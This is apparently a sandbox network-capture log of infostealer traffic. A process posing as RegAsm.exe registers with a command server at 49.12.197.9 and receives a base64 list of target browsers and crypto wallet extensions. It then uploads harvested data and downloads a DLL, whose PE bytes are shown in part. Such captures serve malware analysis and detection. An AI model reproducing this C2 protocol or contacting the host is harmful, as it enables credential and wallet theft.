58	192.168.2.6	65305	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:55 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:55 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 33 35 32 44 45 37 34 33 39 37 38 36 32 35 34 35 31 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"685352DE7439786254513-a33c7340-61ca------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------FIIIIDGHJEBFBGDHDGII--
2024-10-02 15:17:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:56 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 33 36 35 33 62 36 63 63 34 65 63 66 62 66 63 63 66 62 65 35 33 64 39 34 39 31 65 38 66 65 39 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|43653b6cc4ecfbfccfbe53d9491e8fe9\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	65306	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:56 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:56 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 36 35 33 62 36 63 63 34 65 63 66 62 66 63 63 66 62 65 35 33 64 39 34 39 31 65 38 66 65 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="token"43653b6cc4ecfbfccfbe53d9491e8fe9------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------GDGHJEHJJDAAAKEBGCFCCont
2024-10-02 15:17:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:57 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	65307	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:58 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:58 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 36 35 33 62 36 63 63 34 65 63 66 62 66 63 63 66 62 65 35 33 64 39 34 39 31 65 38 66 65 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"43653b6cc4ecfbfccfbe53d9491e8fe9------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------BGDGHJEHJJDAAAKEBGCFCont
2024-10-02 15:17:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:59 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	65308	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:59 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:59 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 36 35 33 62 36 63 63 34 65 63 66 62 66 63 63 66 62 65 35 33 64 39 34 39 31 65 38 66 65 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="token"43653b6cc4ecfbfccfbe53d9491e8fe9------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------DAECFIJDAAAKECBFCGHICont
2024-10-02 15:18:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:18:00 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	65309	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:18:01 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 5933 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:18:01 UTC	5933	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 36 35 33 62 36 63 63 34 65 63 66 62 66 63 63 66 62 65 35 33 64 39 34 39 31 65 38 66 65 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"43653b6cc4ecfbfccfbe53d9491e8fe9------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------CAFIJKFHIJKKEBGCFBFHCont
2024-10-02 15:18:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:18:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	65310	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:18:02 UTC	192	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:18:02 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:18:02 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:18:02 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:18:02 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-10-02 15:18:02 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
